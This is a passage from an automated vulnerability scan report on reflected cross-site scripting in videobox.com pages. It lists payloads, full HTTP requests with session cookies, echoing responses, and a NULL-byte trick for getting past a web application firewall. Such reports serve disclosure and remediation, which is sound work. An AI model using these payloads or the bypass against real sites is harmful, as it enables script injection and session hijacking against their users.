1.36. http://www.videobox.com/beta/tour/flash.seam [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/flash.seam

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload %0089e24<script>alert(1)</script>a5ac507c579 was submitted in the REST URL parameter 3. This input was echoed as 89e24<script>alert(1)</script>a5ac507c579 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/tour/flash.seam%0089e24<script>alert(1)</script>a5ac507c579?subTab=home&thumbsOffset=0&raId=-1&cid=2011462&mainTab=browse&offsetTime=&contentId=64677931 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 464

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tour/flash.seam%0089e24<script>alert(1)</script>a5ac507c579?subTab=home&thumbsOffset=0&raId=-1&cid=2011462&mainTab=browse&offsetTime=&contentId=64677931</code>
...[SNIP]...

1.37. http://www.videobox.com/beta/tour/how_it_works.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/how_it_works.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d6801<script>alert(1)</script>dd6a9fca2b2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /betad6801<script>alert(1)</script>dd6a9fca2b2/tour/how_it_works.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 375

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/betad6801<script>alert(1)</script>dd6a9fca2b2/tour/how_it_works.seam</code>
...[SNIP]...

1.38. http://www.videobox.com/beta/tour/how_it_works.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/how_it_works.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 927f6<script>alert(1)</script>c306ea0c2bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/tour927f6<script>alert(1)</script>c306ea0c2bf/how_it_works.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 375

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tour927f6<script>alert(1)</script>c306ea0c2bf/how_it_works.seam</code>
...[SNIP]...

1.39. http://www.videobox.com/beta/tour/how_it_works.seam [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/how_it_works.seam

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload %00129c6<script>alert(1)</script>20e470b2f16 was submitted in the REST URL parameter 3. This input was echoed as 129c6<script>alert(1)</script>20e470b2f16 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/tour/how_it_works.seam%00129c6<script>alert(1)</script>20e470b2f16 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 378

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tour/how_it_works.seam%00129c6<script>alert(1)</script>20e470b2f16</code>
...[SNIP]...

1.40. http://www.videobox.com/beta/tourPages/std_browse_page.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tourPages/std_browse_page.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3b4bc<script>alert(1)</script>924e415b5c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta3b4bc<script>alert(1)</script>924e415b5c/tourPages/std_browse_page.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 382

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta3b4bc<script>alert(1)</script>924e415b5c/tourPages/std_browse_page.seam</code>
...[SNIP]...

1.41. http://www.videobox.com/beta/tourPages/std_browse_page.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tourPages/std_browse_page.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 54487<script>alert(1)</script>8aa5db948aa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/tourPages54487<script>alert(1)</script>8aa5db948aa/std_browse_page.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 383

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tourPages54487<script>alert(1)</script>8aa5db948aa/std_browse_page.seam</code>
...[SNIP]...

1.42. http://www.videobox.com/beta/tourPages/std_browse_page.seam [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tourPages/std_browse_page.seam

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload %00c6aa6<script>alert(1)</script>7731a923e6e was submitted in the REST URL parameter 3. This input was echoed as c6aa6<script>alert(1)</script>7731a923e6e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/tourPages/std_browse_page.seam%00c6aa6<script>alert(1)</script>7731a923e6e HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 386

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tourPages/std_browse_page.seam%00c6aa6<script>alert(1)</script>7731a923e6e</code>
...[SNIP]...

1.43. http://www.videobox.com/ [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 488a7'-alert(1)-'f7249ced5df was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Accept: */*
Referer: http://www.google.com/search?hl=en&q=488a7'-alert(1)-'f7249ced5df
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.videobox.com
Proxy-Connection: Keep-Alive

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:09:20 GMT
Set-Cookie: JSESSIONID=2459E3E094AA19E4F42768DC7977C794; Path=/
Set-Cookie: state=1-1289830160662-0-4133; Expires=Sat, 25-Oct-2014 14:09:20 GMT; Path=/
Set-Cookie: ref=687474703a2f2f7777772e676f6f676c652e636f6d2f7365617263683f686c3d656e26713d3438386137272d616c6572742831292d276637323439636564356466; Path=/
Set-Cookie: partner=internal; Expires=Tue, 15-Nov-2011 14:09:20 GMT; Path=/
Set-Cookie: state=1-1289830160662-0-4133; Expires=Sat, 25-Oct-2014 14:09:20 GMT; Path=/
Set-Cookie: use_yf=false; Path=/
Set-Cookie: use_gf=false; Path=/
Set-Cookie: state=1-1289830160662-0-4133; Expires=Sat, 25-Oct-2014 14:09:20 GMT; Path=/
Set-Cookie: tc=H4sIAAAAAAAAAI2QMW7DMAxF5+QUAodujSw5VuQ0yim6G7LNOgIsy5XouLl9lQSd2qETgU8+8n+eqGPD4vpmRJvQwKveq1oWVaFlpfalqISu4DnhQyIDUmt1kELWlRa10gchSmBdREvYGxBS17oshCqUksBmlzU3EcbJjsA+XEzULHE0cCGaj5yv67q7uh5DG752XfC8RbKcwhJ5G8OacJfQ+h/yc8F4M5CW9t225hI8vlg/v3nrprvwJB5Slw/LQpSHu3uXmid/cTkAxQWBXTHmLLn2kwFglBsFnLebzYm6ps8m3MjoNuePiNx1Hn9ly1vHMAz31I+V/E9a/p8+cerO228/w0HikQEAAA--; Expires=Sun, 26-Oct-2014 14:09:20 GMT; Path=/
Set-Cookie: state=1-1289830160664-0-4133; Expires=Sat, 25-Oct-2014 14:09:20 GMT; Path=/
Vary: Accept-Encoding,User-Agent
X-Meta: S=app10
User-Header: X-Meta: S=app10
Link: </images/videobox/labels.rdf>; /="/"; rel="meta" type="application/rdf+xml"; title="ICRA labels";
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Cache-Control: no-cache, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 94325

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">


<head>
<meta h
...[SNIP]...
<script type="text/javascript">
var utri, utti, utpi, utvi, utui;
utri = 'www.google.com'+'.'+
'/search'+'.'+
'hl=en&q=488a7'-alert(1)-'f7249ced5df';
utti = 'Default'+'.'+
'VideoBox'+'.'+
'10';
utpi = 'Internal'+'.'+
'internal'+'.'+
'1';
utvi = 'Bundle_3_-_No_Prepaid_Bundles'+'.'+
'4133';
utui = 'None'
...[SNIP]...

Report generated by XSS.CX at Mon Nov 15 09:57:32 CST 2010.